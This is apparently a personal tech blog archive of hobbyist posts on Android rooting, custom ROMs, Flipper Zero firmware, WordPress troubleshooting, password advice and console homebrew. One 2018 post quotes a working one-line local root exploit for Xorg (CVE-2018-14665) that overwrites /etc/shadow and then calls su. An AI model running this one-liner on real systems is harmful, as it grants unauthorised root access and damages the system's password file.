Instead of doing GitHub Gists, I’m thinking it will be a lot easier if we have a Wiki that others can be editing \ modifying as needed, so will look into that. Otherwise for now, maybe I’ll stick with Gists or something temporary here, that can then be moved to a more official one.

RabbitOS 20240615.10/0.8.103(134D8EC)

Fri, 21 Jun 2024 00:00:00 +0000

New OS update for the Rabbit r1 yesterday, & I used mtkclient to dump the partitions.

8d90cef56716fe4da3f6e35087abf27823a356539ab44b53a33cbd616435d2cb boot_a.bin
4aa150165d37e99b83c8e83661665874f22f164f6cbc0092a02b3eb9ea4e977c boot_b.bin
535c6307fb70fd6f008f8379c56554a7750de16acff415cd2a352c40bc5047ba boot_para.bin
0f56effef139082e47297e7f6c9427450199f5beca6975779b2ce8976bff9650 dtbo_a.bin
55cef839054a02af813cdfe82199bf49737bfa75778919c555144ea788d7139c dtbo_b.bin
fb3764aeb7d306f13448af11448ff416cfd226f5c0680c296c30b152ddfbb048 expdb.bin
73320a263ee7fc5e89c27b87f8eb6bb2d809a9953427ca5e7da4d344a9f45b44 flashinfo.bin
eccfa95f82fcbfbf9c15a9f2f50749a33b6fd5d66604c0768ec8daa1612e7a36 frp.bin
4400493b16da7dde7dd7263e2a7cf2eba08f5d6d83e8dc23f08ee4f721b7845d gpt_backup.bin
53454323d72f140b76d13ffb1928b11ae4c630ed659d88abfd10b7404a047f6b gpt.bin
65a08ae8495be8d930e0e187e76e3b45ebf740a9f565f7e532444ec8731a0480 gz_a.bin
996201bf7deaeb1b4ede1c3c6c744ecded67e3085d1fbed1669d01401e7198ed gz_b.bin
2daeb1f36095b44b318410b3f4e8b5d989dcc7bb023d1426c492dab0a3053e74 init_boot_a.bin
2daeb1f36095b44b318410b3f4e8b5d989dcc7bb023d1426c492dab0a3053e74 init_boot_b.bin
74a020b1ecb9afab0f4298818559c56fd74b3a598dddce72b14a1c379071886f lk_a.bin
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256fd193d706359d42d0058690af3add3f8dd7780fdb9b2755ee271b78987527 vbmeta_system_a.bin
f1f770f42d7c1d68387f7baefc05ec604d8bf63f09a306db3ab5e2716480be9c vbmeta_system_b.bin
5dba0ff81223fec5b8187fe0d9da59a2c159c696feea32c405124a10d0e93fdb vbmeta_vendor_a.bin
5b87cf303e856b48320a7da7003c9b2dee18232ddd716ea8e9b1290d1b65ca08 vbmeta_vendor_b.bin
3b6a07d0d404fab4e23b6d34bc6696a6a312dd92821332385e5af7c01c421351 vendor_boot_a.bin
3b6a07d0d404fab4e23b6d34bc6696a6a312dd92821332385e5af7c01c421351 vendor_boot_b.bin

Hoping to be able to get Magisk working at some point… haven’t had much luck with it recently.

Android Authority: "Rabbit R1, a thing that should just be an app, actually is just an Android app (Updated)"

Wed, 01 May 2024 00:00:00 +0000

Ouch… so it looks like Rabbit isn’t have a good day. And right around when the devices are getting delivered (which probably isn’t a coincidence).

See, it turns out that the Rabbit R1 seems to run Android under the hood and the entire interface users interact with is powered by a single Android app. A tipster shared the Rabbit R1’s launcher APK with us, and with a bit of tinkering, we managed to install it on an Android phone, specifically a Pixel 6a.

Upgrading LineageOS + Magisk

Fri, 26 Apr 2024 00:00:00 +0000

Making a note for myself because I spent like an hour trying to figure this out…

I’m running LineageOS 21 (Android 14) & just had an OS upgrade. Problem was that I rebooted when the process was done instead of having Magisk flash to the inactive slot, meaning I’m not rooted when my tablet starts back up.

Instead of patching & flashing the boot partition, on the Pixel Tablet you’re following the same guide but with init_boot instead of boot.

More WordPress Issues =]

Wed, 24 Apr 2024 00:00:00 +0000

Apparently I’m still having issues with some themes in WordPress just failing to get the site to load… I should probably just see about getting a backup of everything, wiping, & starting clean in case it’s just residual settings from previous themes & upgrades. We’ll see how that goes.

WordPress Issues...

Sun, 03 Mar 2024 00:00:00 +0000

This seems to be a recurring theme… no pun intended. I was trying to edit or switch my theme from Libre because I had just a blank column down the side that I finally wanted to address. That led to trying multiple different themes, before finally settling on this one, at least for now…

The M1: A Compact Multitool for Technophiles & Hackers

Thu, 22 Feb 2024 00:00:00 +0000

A friend mentioned this to me & of course I had to back the device, since it looks like a Flipper alternative, but has Wi-Fi built into their board. I’ll admit, I do still need to read all of their details, but if the community here is anything like Flipper’s, & for only $119 on Kickstarter, I thought it would be a fun device to play with.

FediCard: Fediverse Trading Cards

Wed, 21 Feb 2024 00:00:00 +0000

I found this thanks to a post on Lemmy: WeDeliver.org: Get Your Own Fediverse Trading Cards!

There are plenty customization options to choose, & because of that I know I’ll probably end up making a few of these…

AFlipper Zero Transparen

Wed, 18 Oct 2023 00:00:00 -0400

Did I really need a transparent Flipper? No… but I did end up ordering one which let me look over some other custom firmwares that are available for the Flipper.

I was looking over the CFW’s listed here: GitHub: djsime1 / awesome-flipperzero / Firmwares.md

I’ve typically always stuck with Unleashed or RogueMaster’s CFW, but figured I would try something different here & decided on Xtreme (GitHub). I never really noticed that much instability with RogueMaster’s, but still wanted to try something different with Xtreme. I’m working on flashing it now, however I seem to be getting hung on the “Updating resources” step, so may need to debug that a little bit. I’ll have to see how this compares to the other CFW’s I’ve used, & if i plan to stick with it.

Android 13 Pixel Experience on Surface Duo

Fri, 21 Jul 2023 00:00:00 -0400

Details on getting this running, now that it was finally released!

The instructions & system.img can be accessed in XDA: [A13] Pixel Experience GSI for Surface Duo.

I chose to flash the system.img versus the DSU Sideloader method. It’s been a little while since I’ve played around with Android & custom ROM’s so it took longer than usual to figure it out, but i did get it working. I’m making note of the process mainly for myself, but also in case anyone else needs a hint or two.

A Countdown Widget for Scriptable (iOS)

Fri, 02 Jun 2023 00:00:00 -0400

I was trying to make a simple countdown widget to be used on my iPhone lockscreen, but couldn’t find one exactly like what I was looking for. I just ended up modifying this one: GitHub: ferminrp / scriptable-countdown-widget.

My modified version is at: GitHub: veritas06 / scriptable-countdown-widget.

Surface Go (LTE) with Linux

Fri, 02 Jun 2023 00:00:00 -0400

Woot or some other deal site had a Surface Go 1 (with LTE) on sale & figured I’d pick it up for fun. After doing a quick search, I came across the Linux Surface GitHub repo again & saw that even the LTE piece should work with a little modification. I usually jump between Ubuntu flavors (usually Xubuntu since it’s a bit lighter) & Linux Mint; this time I was Xubuntu.

Wordpress Issues...

Fri, 02 Jun 2023 00:00:00 -0400

Since last night I’ve been fighting with a problem on the site… Which is related to …/wp-includes/formatting.php, specifically the convert_smilies function. I ended up just having to adjust the $stop variable to “0”, at least until I can get it permanently figured out. And right now the content of posts aren’t loading, so there is still more to fix.

EDIT: June 03, 2023: Okay, so I may have finally gotten it working… I did use the Web UI to re-install WordPress 6.2.2, & I was still seeing errors related to the convert_smilies function again & finally found an answer that helped me get things running again (at least for now…): StackOverflow: base64_encode conflict with convert_smilies in wordpress. The answer about editing the .../v3ritas.tech/wp-includes/formatting.php file, & adding: remove_filter( 'the_content', 'convert_smilies', 20 );

Using ModSecurity Rules with nginx

Wed, 31 May 2023 00:00:00 -0400

I wanted to make note of this page, because it was a huge help getting the ModSecurity OWASP rule set working with nginx.

LinuxBabe: How to Set Up ModSecurity with Nginx on Debian/Ubuntu

Then to start exempting specific pages from specific rule ID’s, you’ll using these three commands quite a bit:

`tailf /var/log/modsec_audit.log`
`sudo nano /etc/nginx/modsec/coreruleset-3.3.4/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf`
`sudo nginx -t`
`sudo systemctl reload nginx`

Dergnz: Fun things to try with your Flipper Zero (and wifi devboard

Fri, 21 Apr 2023 00:00:00 -0400

I’ve had a tab with this site open in my browser for weeks so I don’t forget to go to it, but still haven’t had time to sit down & go through it, to see what I might want to try. So I might as well drop it here as a reminder & in case anyone else wants to check it out.

Dergnz: Fun things to try with your Flipper Zero (and wifi devboard)

Mozilla SSL Configuration Generator

Sat, 15 Apr 2023 00:00:00 -0400

I came across this while configure some local services using nginx, & wanted to make note of it: Mozilla SSL Configuration Generator.

Fun with Flipper Zero

Fri, 15 Jul 2022 00:00:00 -0400

I’m trying to play around more with my Flipper Zero, especially since I came across info on custom firmware to unlock some extra features with the device. The install was extremely simple, just using the qFlipper application to flash the CFW: GitHub: RogueMaster / flipperzero-firmware-wPlugins.

There were a few extra steps to take after flashing, but as long as you read the instructions provided, it should work fine. I still have to play around with it a bit & see what else I can do with it, but I will definitely be reading \ loading most of what’s available through RogueMaster’s awesome-flipperzero-withModules GitHub repo.

Xbox App: "Administrator approval required for installation."

Sat, 29 Jan 2022 00:00:00 -0400

So I got a new gaming computer last year, & as usual when I’m running Windows, I don’t login with a user account that has administrator rights. Instead, I login with a regular user account, & if I need to do something as admin, I’m either prompted (i.e.: Installing MSI’s) or I can “Run as administrator” through the context menu. Well it looks like that plan has a hole when trying to use the native win10\win11 Xbox app, & to install at least some games, the two I’m finding now are Halo Infinite & Halo: The Master Chief collection.

Fun Projects: Ubuntu Touch & LuneOS

Fri, 27 Aug 2021 00:00:00 -0400

Two things I’m currently working on: - Ubuntu Touch on my old Nexus 6P, just to see how it’s coming along. I did need to reference this comment in order to get mine booting properly.
- LuneOS on my old HP TouchPad… Which is giving me some problems. It started off rough because I was trying to find some files that were released between 2011-2014, & then trying to get them running… Then once I finally got that done, I still wasn’t able to get LuneOS to boot. Here are some of the files I collected while working on this:

webOS Resource

Tue, 10 Aug 2021 00:00:00 -0400

Just making note of some webOS tools \ resources that could be useful as I start playing with my HP TouchPad (Tenderloin) again. Specifically, I want to install LuneOS on my device.

➜  webOS ls -lah
total 744704
drwxr-xr-x  5 smc  staff   160B Aug  9 22:53 .
drwx------+ 8 smc  staff   256B Aug  9 22:53 ..
-rw-r--r--@ 1 smc  staff   352M Aug  5 11:11 Palm_webOS_SDK.3.0.5.676.dmg
-rw-r--r--@ 1 smc  staff    12M Aug  5 12:09 WebOSQuickInstall-4.6.0.jar
-rw-r--r--@ 1 smc  staff    78K Aug  5 11:27 org.webosinternals.tailor_0.3.1_all.ipk.zip
➜  webOS sha256 *
SHA256(Palm_webOS_SDK.3.0.5.676.dmg)= c2cd8346fd8e92e7090766652160879b0416ee1d4922d4942159c8c33442464f
SHA256(WebOSQuickInstall-4.6.0.jar)= 3dec2ca6b724a763a69019c6e0ed1803f4a12e8809bbe79eb80595b7819d5d00
SHA256(org.webosinternals.tailor_0.3.1_all.ipk.zip)= 9cdbef200daf21ea33fff883ac42809c80a204d7d562aa5ec6126b3fbaa728fd
➜  webOS

org.webosinternals.tailor_0.3.1_all.ipk.zip: Needed this version because it has options included for LuneOS.
Palm_webOS_SDK.3.0.5.676.dmg
WebOSQuickInstall-4.6.0.jar: I didn’t actually need this, but downloaded it because I was nostalgic.

Malwarebytes Labs: Relax. Internet password books are OK

Thu, 18 Mar 2021 00:00:00 -0400

Source: Malwarebytes Labs: Relax. Internet password books are OK

So this was posted on April Fools’ Day, but I do believe it’s a serious post & I agree with the content. The author brings up the point early: Whether using a physical password book is a good thing depends on your threat model & risk. If you are not good with computers & can’t figure out how to use a password manager (see some of my other posts about passwords: Don’t Change that Pa$$w0rd, FINALLY: A Good Password Management Article, & ANOTHER GOOD article about passwords) & you don’t have to worry about someone you live with abusing access to the book, then this is a great way to store passwords without remembering them or re-using the same one over & over. Having the details saved in a book that’s kept in a drawer at your desk is a good way for some people to store different passwords. And it would obviously stay safer if the book stays at home, versus keeping it with you at all times & potentially losing it while out & about. That of course leads to other questions like “What do I do if I am away from home & need a password?”, but that will have to be answered by the user: Is it worth carrying the book with you at all times or is it really something that can wait until you get home & can access the book.

The Hacker News: Google Reveals What Personal Data Chrome and Its Apps Collect On You

Thu, 18 Mar 2021 00:00:00 -0400

Source: The Hacker News: Google Reveals What Personal Data Chrome and Its Apps Collect On You

And this is why I avoid using Chrome where possible:

Reasons why I run a network-wide adblocker..

Sun, 14 Feb 2021 00:00:00 -0400

In the last 24 hours…

Screenshot from Pi-Hole dashboard

For anyone else looking to run a network-wide adblocker, I recommend Pi-Hole. I have also recently started testing out AdGuard Home & will see in the long run if I decide to switch, or just leave it as a backup.

I run Pi-Hole as my primary DNS & DHCP server with an excessive number of blocklists (totaling ~4.5m blocked sites) & have no issues with it. I only started looking into AdGuard Home after a resource issue on my original Pi-Hole (it seems when I added Resilio Sync to my Pi, the system would lock up). So, I decided to replace RasPi 3 B+ with a RasPi 4, 8GB, & turn the original 3+ into the secondary AdGuard DNS server.

Goodbye Google Fi & Android

Sat, 19 Dec 2020 00:00:00 -0400

I find it pretty ironic that Google Fi is the reason I’m leaving Android as well. Whether it’s because of an actual Fi issue or juts a tower issue in my area, that caused me to finally switch off of Fi (something I’ve been meaning to do anyway), & I decided to switch to an iPhone to get more use out of my phone, but also so I could actually still communicate with some people on iMessage.

iOS14 Charger Connect & Disconnect Sounds

Mon, 21 Sep 2020 00:00:00 -0400

This seems to be very popular with the release of iOS14, & I’m writing this up as a personal reference so I don’t have to continue to watch the great setup video that u/zeeshan_02 posted on Reddit: Beginner’s Guide on Playing a Custom Sound when Connected to Charger!

Shortcut 01: Encode Audio This converts a sound file (in my case I was using an MP3) to Base64, for later use by the next shortcut:

Super Mario 64 Natively on Android

Sun, 20 Sep 2020 00:00:00 -0400

Found a post on XDA about building Super Mario 64 for Android using Termux, & figured I’d try it out for fun.
Source: XDA Developers: Super Mario 64 can be natively run on Android without a Nintendo 64 emulator

Their instructions worked fine, so below is really just a copy & paste from the XDA post:

➜  ~ pkg install git wget make python getconf zip apksigner clang
Checking availability of current mirror: ok
Reading package lists... Done
Building dependency tree       
Reading state information... Done
apksigner is already the newest version (29.0.2-5).
clang is already the newest version (10.0.1-2).
getconf is already the newest version (0.5-1).
git is already the newest version (2.28.0).
make is already the newest version (4.3-1).
python is already the newest version (3.8.5).
wget is already the newest version (1.20.3-3).
zip is already the newest version (3.0-5).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
➜  ~ cd Development 
➜  Development git clone https://github.com/VDavid003/sm64-port-android
Cloning into 'sm64-port-android'...
remote: Enumerating objects: 15616, done.
remote: Total 15616 (delta 0), reused 0 (delta 0), pack-reused 15616
Receiving objects: 100% (15616/15616), 22.76 MiB | 5.71 MiB/s, done.
Resolving deltas: 100% (7567/7567), done.
➜  Development cd sm64-port-android 
➜  sm64-port-android git:(master) cp ~/storage/shared/Super\ Mario\ 64\ \(USA\).z64 baserom.us.z64
➜  sm64-port-android git:(master) sha256 baserom.us.z64 
The program openssl is not installed. Install it by executing:
 pkg install openssl-tool
➜  sm64-port-android git:(master) pkg install openssl-tool
Checking availability of current mirror: ok
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following NEW packages will be installed:
  openssl-tool
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 185 kB of archives.
After this operation, 643 kB of additional disk space will be used.
Get:1 https://dl.bintray.com/termux/termux-packages-24 stable/main aarch64 openssl-tool aarch64 1.1.1g-4 [185 kB]
Fetched 185 kB in 0s (214 kB/s)    
Selecting previously unselected package openssl-tool.
(Reading database ... 14219 files and directories currently installed.)
Preparing to unpack .../openssl-tool_1.1.1g-4_aarch64.deb ...
Unpacking openssl-tool (1.1.1g-4) ...
Setting up openssl-tool (1.1.1g-4) ...
➜  sm64-port-android git:(master) sha256 baserom.us.z64   
SHA256(baserom.us.z64)= 17ce077343c6133f8c9f2d6d6d9a4ab62c8cd2aa57c40aea1f490b4c8bb21d91
➜  sm64-port-android git:(master) md5sum baserom.us.z64 
20b854b239203baf6c961b850a4a51a2  baserom.us.z64
➜  sm64-port-android git:(master) ./getSDL.sh
~/Development/sm64-port-android/SDL ~/Development/sm64-port-android
--2020-09-20 11:56:47-- https://www.libsdl.org/release/SDL2-2.0.12.zip
Resolving www.libsdl.org... 2604:a880:1:20::181:e001, 192.241.223.99
Connecting to www.libsdl.org|2604:a880:1:20::181:e001|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6784187 (6.5M) [application/zip]
Saving to: ‘SDL2-2.0.12.zip’

SDL2-2.0.12.zip                       100%[=======================================================================>]   6.47M  5.65MB/s    in 1.1s    

2020-09-20 11:56:49 (5.65 MB/s) - ‘SDL2-2.0.12.zip’ saved [6784187/6784187]

~/Development/sm64-port-android
➜  sm64-port-android git:(master) make --jobs 4
...
cp build/us_pc/sm64.us.f3dex2e.unsigned.apk build/us_pc/sm64.us.f3dex2e.apk
apksigner sign --cert certificate.pem --key key.pk8 build/us_pc/sm64.us.f3dex2e.apk
➜  sm64-port-android git:(master) ls
Android.mk   Makefile.split  assets           charmap.txt       enhancements       key.pk8        sm64.jp.sha1  text
CHANGES      README.md       assets.json      charmap_menu.txt  extract_assets.py  levels         sm64.ld       textures
Dockerfile   SDL             baserom.us.z64   data              first-diff.py      lib            sm64.sh.sha1  tools
Doxyfile     actors          bin              diff.py           format.sh          rename_sym.sh  sm64.us.sha1  undefined_syms.txt
Jenkinsfile  android         build            diff_settings.py  getSDL.sh          rsp            sound
Makefile     asm             certificate.pem  doxygen           include            sm64.eu.sha1   src
➜  sm64-port-android git:(master) ls build 
us_pc
➜  sm64-port-android git:(master) ls build/us_pc 
actors  bin   endian-and-bitwidth  level_rules.mk  lib         rsp                  sm64.us.f3dex2e.unsigned.apk  src   textures
assets  data  include              levels          libmain.so  sm64.us.f3dex2e.apk  sound                         text
➜  sm64-port-android git:(master)

OnePlus 7 Pro: LineageOS+MicroG

Mon, 31 Aug 2020 00:00:00 -0400

After a full weekend of originally getting CrDroid on my new OnePlus 7 Pro a few months back, I decided to switch to LineageOS+MicroG because I was never able to get location working on CrDroid. This was mostly due to the changes in Android 10, but when I was still unable to get it working with the new UnifiedNLP package, I just decided it was easier to switch & settled for reinstalling MicroG, which I had avoided on CrDroid because I wanted to avoid as many Google services as possible.

OnePlus 7 Pro: Update System Firmware on Custom ROM

Mon, 31 Aug 2020 00:00:00 -0400

Follow up to the OnePlus 7 Pro: LineageOS+MicroG post, where I mentioned I would have to update the Bluetooth & Modem firmware on my device. This fortunately went as smoothly as the LineageOS+MicroG install, so I’m very happy about that.

The first step was downloading the latest OxygenOS ZIP through this post: XDA Developers: [ROM][STOCK][FASTBOOT][OP7P] Stock Fastboot ROMs for OnePlus 7 Pro/ 7 Pro 5G by mauronofrio. The specific ZIP i pulled down from Android File Host was “10.0-GM21AA-OnePlus7ProOxygen_21.O.20_OTA_020_all_1909172051_db7a3f61-FASTBOOT.zip”. From there, it was just a simple matter of extracting that, images.zip, & flashing the bluetooth.img & modem.img files:

Remapping Hardware Buttons: Mi MIX 3

Sun, 02 Jun 2019 00:00:00 -0400

Now that I was able to get my Mi MIX 3 setup with TWRP & a custom ROM (unofficial LineageOS 16 build), I started looking into remapping the AI button to something actually useful. I found a few posts to point me in the right direction, as well as a Magisk module that is supposed to handle this:

StackOverflow: ADB Shell Input Events
Android Developers: KeyEvent
StackOverflow: Need table of key codes for android and presenter

I tried out a bunch of the codes to see what would work, & for now just remapped the key to SEARCH, until I can find something better \ more useful.

Custom ROM on Mi MIX 3

Mon, 27 May 2019 00:00:00 -0400

I recently picked up a Xiaomi Mi MIX 3 & was able to unlock the bootloader after the 72 hour waiting period. That wasn’t a problem, however getting TWRP up & running was where I had a problem.

For some reason, whenever I would flash TWRP, but device was stuck in a fastboot loop – could not reboot out of it, boot the TWRP image, or any other method of exiting fastboot. I finally got TWRP working properly after flashing perseus_global_images_9.5.17_20190517.0000.00_9.0 _global_134d3070e5.tgz. I tried flashing one of the China ROM’s, & that was of no help.

Show Actual Clients in Pi-Hole Console

Mon, 15 Apr 2019 00:00:00 -0400

Finally took care of something I’ve been meaning to do for a while… I now have my Pi-Hole showing the real client source IP’s instead of the router & localhost. I have this post to thank: Pi-Hole Discourse: [SOLVED] Can’t see device list on Pi-Hole Admin.

Protecting Linux Login with 2FA

Tue, 22 Jan 2019 00:00:00 -0400

This is definitely not the first time I’ve tried getting this working, but glad I was finally able to. Looks like if I had read a bit more, I never would have run into issues…

By the second or third time I ran into problems, I at least figured out why: with my home directory being encrypted, the “secret” 2FA files could not be accessed & verified.

Now for the fun part… It looks like Google had the instructions for encrypted home directories in the README the whole time.

Password "Complexity" Requirements"

Sat, 05 Jan 2019 00:00:00 -0400

I actually forget what web site this one, but found this little gem while trying to setup a new account:

I guess my password doesn’t meet their requirements?

Then I decide to use this instead.

No, I didn’t actually make my password “password123” but I would have thought a site warning my against it wouldn’t allow “password”+< something >. The fact that it wouldn’t accept my random password probably should have been my first hint that it was not going to go well.

FINALLY Got my OpenVPN Server Setup on My DD-WRT Router

Tue, 01 Jan 2019 00:00:00 -0400

This took way longer than I would have liked, but at least it seems to be working right now.

After moving recently, I needed to purchase a new router, leaving my rooted Google WiFi AP’s behind. I decided to replace it with a D-LINK AC2600 EXO MU-MIMO Wi-Fi Router. After some more router related fun, I was able to get DD-WRT custom firmware running on the device. With that finally in place, my next project was to get the OpenVPN Server feature enabled. I had all the certificates & keys I needed, it was just a matter of getting the right config in the DD-WRT Admin GUI. Below is what I finally had in the “Additional Config” field that, that ended up working:

Nintendo Switch Theme: Deadpool Playing Pokemon: ClearLayout

Sun, 30 Dec 2018 00:00:00 -0400

Trying to get into Switch theming, so this is my first attempt:

Deadpool Playing Pokemon: ClearLayout screenshot.

Download is available here. I also posted the theme to /r/NXThemes: My First Theme: Deadpool Playing Pokemon: ClearLayout.

New Nintendo Switch Payload: ArgonNX

Sat, 29 Dec 2018 00:00:00 -0400

Guillem96 has a new payload available on GitHub: argon-nx.

As he states in the description there, it’s meant to be used to choose which payload you’d actually like to launch; just use the ArgonNX payload, & then choose from any BIN you have located in the \argon\payloads\ directory. What’s nice about this is that you can choose the logos to go along with each BIN. Still have some work to do, but this is what my selection screen looks like right now:

Homebrewing ALL THE THINGS

Thu, 13 Dec 2018 00:00:00 -0400

Pretty accurate description of what I’ve been up to recently.

Since getting homebrew running on my Nintendo Switch, I’ve been booting up some old hardware & getting homebrew &\or custom firmware running there. The most recent three after the Switch have been my Nintendo Wii U, PlayStation Vita, & PlayStation 3. I’ve had CFW running on my Vita for a while, but also haven’t turned it on in ages. I came back to some interesting to features in the homebrew scene which was a nice surprise.

Moving from Authy to Another 2FA App

Mon, 12 Nov 2018 00:00:00 -0400

Despite the convenience of having Authy’s ability to sync across devices, I decided I wanted to change my 2FA app to Android’s andOTP. To do this (without unenrolling & re-enrolling myself in 2FA for my 50+ services), I needed to find a way to export my secrets from Authy. I did find a few posts on the topic, but didn’t have any luck with those guides. Most seemed to be a variation on the same process of getting the secrets from the Authy Chrome extension.

Nintendo Switch: ReiNX Splashscreen

Fri, 09 Nov 2018 00:00:00 -0400

Now that I’ve finally started getting homebrew running on my Switch, figured I’d put together a quick ReiNX splashscreen, similar to one of the Luma3DS ones:

Luma3DS XL “BIOS” splashscreen at boot.

My first attempt at a “BIOS” boot splashscreen for the Switch.

CVE-2018-14665: Exploit in a Tweet

Fri, 26 Oct 2018 00:00:00 -0400

Hacker Fantastic has another Tweet-able exploit for a system:

#CVE-2018-14665 - a LPE exploit via https://t.co/eax3fvaAjE fits in a tweet

cd /etc; Xorg -fp “root::16431:0:99999:7:::” -logfile shadow :1;su

Overwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected.— Hacker Fantastic (@hackerfantastic) October 25, 2018

Twitter: @HackerFantastic

Scammers Using Microsoft's Support Site

Thu, 18 Oct 2018 00:00:00 -0400

I just came across this video (posted yesterday), where scammers are leveraging Microsoft’s legitimate support site at https://support.microsoft.com/help. This was after I received a fake Microsoft support call. Unfortunately, I didn’t have a dummy VM ready to waste their time, but glad I found out about the use of Microsoft’s site. Because Microsoft uses LogMeIn, their support site seems to just forward the code to LogMeIn to start the session.

See the video below for how the site is used:

Finally Found a KeePassXC Client for iOS!

Tue, 09 Oct 2018 00:00:00 -0400

Found out about this app from /r/KeePass: KyPass 4 (iOS) TOTP?

I’ve always had a problem trying to get an iOS app that would work with KeePassXC databases. Seems to be working fine right from the start, so definitely worth the $6.99 price tag.

Useful Medium Articles

Mon, 08 Oct 2018 00:00:00 -0400

Two Medium articles that I end up using over & over & want to make sure I save:

Medium: Run ResilioSync (Btsync) as normal user under Ubuntu
Medium: Upgrade Your SSH Key to Ed25519

ANOTHER GOOD article about passwords

Thu, 04 Oct 2018 00:00:00 -0400

Very glad to see another post by a site, giving good information on handling passwords, security question answers, & the recommendation to use password managers. I last had a post about this in July, when Dreamhost also put out a good article about creating strong passwords for account security. The link to that article is below as well.

Lifehacker: Use Your Password Manager for Security Answers, Too

Dreamhost: How to Create Strong Passwords to Keep Your Website Safe

ASCII Art: Random "Image"

Wed, 03 Oct 2018 00:00:00 -0400

Found this repository on GitHub & figured I’d fork it & add some of my own graphics to it: GitHub: DanCRichards / ASCII-Art-Splash-Screen

And here is my fork: GitHub: veritas06 / ASCII-Art-Splash-Screen

So far all I’ve done is modify the script to look at my GitHub repository (instead of DanCRichards’) & add a single graphic, just to test it out.

De-google-ify Internet

Sun, 23 Sep 2018 00:00:00 -0400

Found this site on https://lobste.rs. Has so great, open alternatives to proprietary services: Framasoft: De-google-ify Internet.

The Framasoft web site also seems to have some great information on this topic as well.

A network dedicated to globally promoting “free” and particularly free software.
Many services and innovative projects freely put at the disposal of the general public.
A community of volunteers supported by a public interest association.
An invitation to build together a world of sharing and cooperation.

Linux on Samsung Galaxy TabPro S

Sun, 23 Sep 2018 00:00:00 -0400

I have picked ap a Galaxy TabPro S a year or two ago, but didn’t end up using it much since it was running Windows. I had always planned to try out Linux on it, but never got around to it until now. I installed Xubuntu, just to have a light OS, & the only issue is related to getting wireless working. It is however a quick fix:

GitHub: infernix/samsung_tabpro_s

Just need to clear the contents of /lib/firmware/ath10k/QCA6174/hw3.0/*, & then place the two files from the GitHub repo. After a reboot, wireless was working with no additional changes needed.

Setting Up Media Drive Sync

Mon, 06 Aug 2018 00:00:00 -0400

I have two external hard drives for my media, one to hold all of my downloads, & the second attached to an Nvidia Shield TV which I use as a Plex server. Since getting Plex setup there, I’ve been looking for a way to keep both drives up-to-date so that I don’t have to manually copy files to each drive when I download. I’ve been trying to get rsync running on the Shield, but then remembered Syncthing. Because of the amount of data, the initial check is going to take a few days, but I’m hoping this will be a good way to keep the drives updated.

Android: Opera Touch Browser Bug

Thu, 26 Jul 2018 00:00:00 -0400

Thought this was worth sharing…:

[video src=“https://v3ritas.tech/wp-content/uploads/2018/07/screenrecord-2018-07-25-21-10-19.mp4" ]

I will have to find some way to kill it, but good to know it can open that many tabs…

UNCHARTED: Live Action Fan Film (2018), Staring Nathan Fillion

Mon, 16 Jul 2018 00:00:00 -0400

I am pro- _anything_ with Nathan Fillion, so seeing this definitely brightened my day!

Rebuilding Laptop OS

Sun, 15 Jul 2018 00:00:00 -0400

So I made the mistake of attempting to get 2FA setup to login to my Ubuntu MATE laptop (i.e.: Linux.com: How to Set Up 2-Factor Authentication for Login and sudo). Well, that didn’t go well. I’m pretty sure I had the same problem this time around as the last time – since my Home directory is encrypted, login couldn’t read the Google Authenticator config from my ~/.config/. Ended up locking myself out of my system, couldn’t access my encrypted home drive & ended up blowing my system away. Fortunately, I don’t usually save oo much to my local drive (for reasons like this) but I did lose some simple image work I was doing, so that kind of sucks…

FINALLY: A Good Password Management Article

Thu, 12 Jul 2018 00:00:00 -0400

DreamHost recently posted an article on their site about password management: DreamHost: How to Create Strong Passwords to Keep Your Website Safe. Just the list of points is much better than what I’m used to seeing:

Make your password long.
Don’t use a common phrase.
Test your password.
Don’t reuse your password.
Use a password manager.
Don’t store passwords in your browser.
Follow the rules every time.
Use two-factor authentication.
Consider the Passphrase/Diceware Method.
Use security questions wisely.
Keep an eye on your smartphone.

I still have to actually read the specifics for each, but that list alone is a great guide on modern password management.

iOS' USB Restricted Mode "Loophole"

Tue, 10 Jul 2018 00:00:00 -0400

Everyone seems to be trying to point out this “loophole” as a huge deal, getting in the way of the new feature in iOS 11.4.1 that disables the USB port for anything but charging if the device has been locked for more than an hour (or S.O.S. mode is activated on the device).

The “loophole” that people are calling a flaw is that if certain Lightning-connecting accessories are connected within the one-hour window, the timer is stopped. This does not apply to all lightning accessories, as the Lightning-to-3.5mm jack accessory does not reset the count. Apple’s Lightning-to-USB 3 Camera Adapter, however, is one of the accessories that stop the countdown. This makes perfect sense, as it allows the user to connect an accessory without the need to unlock first. If the device is in a pocket, then said accessory can just be connected. It would be one thing if Lightning accessories were trusted the same way as computers are, but that is not the case here. There is no cryptographic key exchange when connecting accessories so the device doesn’t know one accessory from another, without manufacturers making changes to their products.

Magisk on Project Treble ROMs

Tue, 10 Jul 2018 00:00:00 -0400

So it looks like LineageOS 15.1 for the Xiaomi Mi MIX 2 is now Treble supported, which is apparently leading to Magisk issues, at least for me…:

Archive: /sdcard/Magisk-v16.6.zip inflating: META-INF/com/google/android/update-binary inflating: META-INF/com/google/android/updater-script inflating: arm/magiskboot inflating: arm/magiskinit inflating: chromeos/futility inflating: chromeos/kernel.keyblock inflating: chromeos/kernel_data_key.vbprivk inflating: common/addon.d.sh inflating: common/boot_patch.sh inflating: common/magisk.apk inflating: common/util_functions.sh inflating: x86/magiskboot inflating: x86/magiskinit inflating: META-INF/MANIFEST.MF inflating: META-INF/CERT.SF inflating: META-INF/CERT.RSA ************************ * Magisk v16.6 Installer ************************ - Mounting /system, /vendor mount: can't find /vendor in /etc/fstab ! Cannot mount /vendor - Unmounting partitions Updater process ended with ERROR: 1 I:Install took 4 second(s). Error installing zip file '/sdcard/Magisk-v16.6.zip'

Instagram Feed

Mon, 09 Jul 2018 00:00:00 -0400

I’m trying to use the Instagram account I created for the site more, so I’ve added a feed to the Social Media page of the site. An example is also below:

[instagram-feed]

Nintendo 2,3DS Theming: Deadpool

Fri, 06 Jul 2018 00:00:00 -0400

Deadpool theme for 2/3DS. Used two different editors to fill everything in: - GitHub: exelix11/YATA-PLUS - Github: usagirei/3DS-Theme-Editor

Preview of the theme: [caption id=“attachment_346” align=“aligncenter” width=“412”] Deadpool theme that I put together[/caption]
